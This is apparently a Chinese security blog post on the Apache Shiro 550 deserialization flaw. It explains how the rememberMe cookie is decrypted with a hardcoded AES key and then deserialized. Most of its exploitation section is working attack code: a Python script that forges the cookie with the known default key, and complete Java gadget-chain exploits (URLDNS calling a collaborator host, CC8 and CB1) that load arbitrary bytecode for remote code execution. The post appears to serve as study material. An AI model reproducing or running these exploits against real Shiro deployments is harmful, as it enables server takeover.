Shiro550 反序列化

发布时间 2023-12-06 21:59:43作者: Jasper_sec

参考链接

https://www.bilibili.com/video/BV1iF411b7bD

环境搭建

搭环境看的这位师傅的,有图有步骤,爱了。
https://fireline.fun/2021/05/21/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(%E4%B8%80)-Shiro550/

漏洞原理

摘要

shiro550在hvv的时候就有所耳闻,每次看一个Java站都要看看有没有rememberMe
一句话说这个洞:就是rememberMe传了个经过AES加密+Base64的序列化字符串,但是Shiro里这个密钥是固定的,那我们用同样的密钥加密和Base64,传恶意的序列化字符串,后台反序列化就会被打了。
image.png

挖洞思路

尝试复现漏洞发现者,最初发现这个洞时的思路。
首先,抓包看到Cookie里的rememberMe有一大串,一般来说不会有这么多,于是猜测可能是传了序列化的对象
idea里双击"shift",搜索"cookie",找到CookieRememberMeManager这个类
image.png
然后发现有两个函数带了remember字样,很可能是要找的函数
image.png
看注释,发现getRememberedSerializedIdentity是对Cookie里的rememberMe的值进行Base64解码的
image.png
我们的目的是探索这个字段是否可反序列化,接下来看谁调用了getRememberedSerializedIdentity,目的是看看base64解码之后,下一步是干什么。
这里可以看到,抽象父类的getRememberedPrincipals方法调了getRememberedSerializedIdentity
image.png
继续看getRememberedSerializedIdentity,发现它把字符串base64decode后,把结果传到了convertBytesToPrincipals这个函数里
image.png
再跟进convertBytesToPrincipals这个函数,发现里边有个decrypt()函数,这显然是在对字符串解密
在字符串解密之后,直接传到deserialize()函数里,参与反序列化!
image.png
下面看它怎么解密的,跟进decrypt,注意到这里有个获取解密密钥的函数
image.png
跟进去getDecryptionCipherKey,他是直接返回AbstractRememberMeManager的decryptionCipherKey属性
image.png
下面找找哪里给decryptionCipherKey赋值了,idea小技巧,"value write"里都是赋值函数
这里找到setDecryptionCipherKey()函数,它把传入的参数赋值给decryptionCipherKey,但是没写参数哪来的
image.png
再找谁调用了setDecryptionCipherKey(),找到了setCipherKey()函数,这里还是没写参数哪来的
image.png
再往上找,终于找到了,默认的密钥就是这个DEFAULT_CIPHER_KEY_BYTES
image.png
看注释,可以看到Shiro在这里采用AES+Base64来加密我们序列化之后的字符串
问题也就出在这,他这里把对称加密的密钥写死了,知道密钥,AES加密就相当于没有
我们按照它的构造规则,先AES再Base64,就可以打它的反序列化了。
image.png

漏洞利用

根据组长的视频,讲了三种利用方式:

  • URLDNS链:JDK自带,不需要依赖,但是只能SSRF,不能RCE
  • CC8链:CC2+CC6,需要用到Commons Collections3,能RCE
  • CB1链:Shiro自带CB依赖,能直接RCE

cookie加密脚本

# -*-* coding:utf-8
# @Time    :  2022/7/13 17:36
# @Author  : Drunkbaby
# @FileName: poc.py
# @Software: VSCode
# @Blog    :https://drun1baby.github.io/

# 同目录下放已经反序列化的文件object.ser,通过AES和BASE64加密生成rememberMe的cookie

from email.mime import base
from pydoc import plain
import sys
import base64
import uuid
from random import Random
from Cryptodome.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == "__main__":
    data = get_file_data("object.ser")
    print(aes_enc(data))

URLDNS

这条链很短,跟过之前的链子,再回过头看真的很简单,这里直接上Exp

public class URLDNS {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Object> hashMap = new HashMap<>();
        URL url = new URL("http://fbuj4kl1p0zk9fwg0my69sta319sxold.oastify.com");
        setFieldValue(url,"hashCode",2);
        hashMap.put(url,2);
        setFieldValue(url,"hashCode",-1);
        serialize(hashMap);
//        unserialize();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }
    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

把生成的序列化字符串文件object.ser,放到cookie加密脚本同目录下,然后运行脚本生成cookie:
image.png
burp抓包,更换rememberMe字段cookie,打过去,注意要删掉多余的JSESSIONID,这和代码流程有关
image.png
burp的collaborator模块,狂点Poll now,就能够接收到请求记录
image.png

CC8

这个要加Commons Collections3的依赖,因为Shiro本身并不带Commons Collections3,test的不算
image.png
加了CC3的依赖,按理说应该每条CC3的链子我们都能打通,但是当我们尝试用CC6去打的时候会有以下报错
image.png
意思是无法加载Transomer数组这个类,这意味着我们没办法用ChainedTransformer类了,而不用chainedTransformer数组的链子,很容易想到CC2的特点,代码执行+不用数组
尝试编写Exp如下:

public class TestCC8 {
    public static void main(String[] args) throws Exception{
        // CC2部分
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        setFieldValue(templates,"_name","jasper");
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // _tfactory是,想提前调用链条的时候设置的;反序列化的会自己赋值,可以注释掉
//        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        //用invokerTransformer触发newTransformer = = 
//        templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        // invokerTransformer.transform();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

这样一来就没有用数组,另外把问题转化成调用xxx.transform()了,这里用CC6的后半段就好
注意: "key2"改成templates,chainedTransformer改成invokerTransformer
完整Exp如下:

public class TestCC8 {
    // CC2+CC6 实现不使用Transform数组,并且代码执行
    public static void main(String[] args) throws Exception{
        // CC2
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        setFieldValue(templates,"_name","jasper");
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // _tfactory是,想提前调用链条的时候设置的,反序列化的时候可以注释掉,它会在反序列化的时候自己赋值
//        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        // 用invokerTransformer触发newTransformer
//        templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        // invokerTransformer.transform();

        // CC6部分
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        //修改链子,避免put的时候自己电脑老执行命令
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
//        lazyMap.get("Jasper");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
//        tiedMapEntry.getValue();
//        tiedMapEntry.hashCode();
//        Class clazz = Class.forName("java.util.HashMap");
//        Method hashMethod = clazz.getDeclaredMethod("hash", Object.class);
//        hashMethod.setAccessible(true);
//        hashMethod.invoke(clazz,tiedMapEntry);
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"Jasper");
        //把链子改回来
        setFieldValue(lazyMap,"factory",invokerTransformer);
        //绕过IF判断,调用Transform
        lazyMap.remove(templates);
       serialize(hashMap1);
        // unserialize();

    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image.png

CB1

CB1链是完全只需要Shiro自带依赖,就可以打通的链子,用到的模块是Commons BeanUtils
这个模块有个PropertyUtils.getProperty()可以根据传参调用对应的getter方法
image.png
在CC3的TemplatesImpl#newTransformer()里提到,调用newTransformer的还有getOutputProperties这个方法,换言之通过getOutputProperties也可代码执行,尝试编写Exp如下:

public class TestCB1 {
    // 参考CC3和CC4
    public static void main(String[] args) throws Exception{
//        JavaBean bean = new JavaBean();
//        System.out.println("name = "+ PropertyUtils.getProperty(bean,"name"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Jasper");
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTrnasformer()看一眼效果,就要设置_tfactory
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();
        templates.getOutputProperties();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image.png
那么又因为PropertyUtils.getProperty()可以调用任意getter方法,尝试一下调用getOutputProperties()

public class TestCB1 {
    // 参考CC3和CC4
    public static void main(String[] args) throws Exception{
//        JavaBean bean = new JavaBean();
//        System.out.println("name = "+ PropertyUtils.getProperty(bean,"name"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Jasper");
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTrnasformer()看一眼效果,就要设置_tfactory
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();
        templates.getOutputProperties();
       PropertyUtils.getProperty(templates,"outputProperties");
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image.png
接下来,开始找谁调用了getProperty,这里发现了BeanComparator#compare,很符合我们要求
image.png
看到compare就很熟悉,在CC4的priorityQueue这个入口类里,我们用到过compare来触发xxx.transform
在CB1链里,我们只需要使用priorityQueue反序列化时,会调用到compare这个特性即可
注意:下面的add会提前触发链条,这里选择先add,再通过反射设置属性,保证链子不被破坏。
最终Exp如下:

public class TestCB1 {
    // 参考CC3和CC4
    public static void main(String[] args) throws Exception{
//        JavaBean bean = new JavaBean();
//        System.out.println("name = "+ PropertyUtils.getProperty(bean,"name"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Jasper");
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        // 提前触发链条看效果,就要设置_tfactory
//        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();
//        templates.getOutputProperties();
//        PropertyUtils.getProperty(templates,"outputProperties");

        BeanComparator beanComparator = new BeanComparator();
//        setFieldValue(beanComparator,"property","outputProperties");
//        beanComparator.compare(templates,templates);

//        // add会提前触发链条,这里选择先提前add,再统一传参
        PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
//        // 统一传参,防止链条被破坏
        setFieldValue(priorityQueue,"queue",new TemplatesImpl[]{templates,templates});
        setFieldValue(beanComparator,"property","outputProperties");
//
       serialize(priorityQueue);
        // unserialize();

    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image.png

总结

shiro550这个洞,就是反序列化套了一层AES加密,AES密钥已知的基础上,本质就是一个简单的反序列化漏洞。
感觉更多的是考察在Shiro的依赖条件下,要怎么RCE,通过这个洞学到了URLDNS、CC8、CB1三条链子。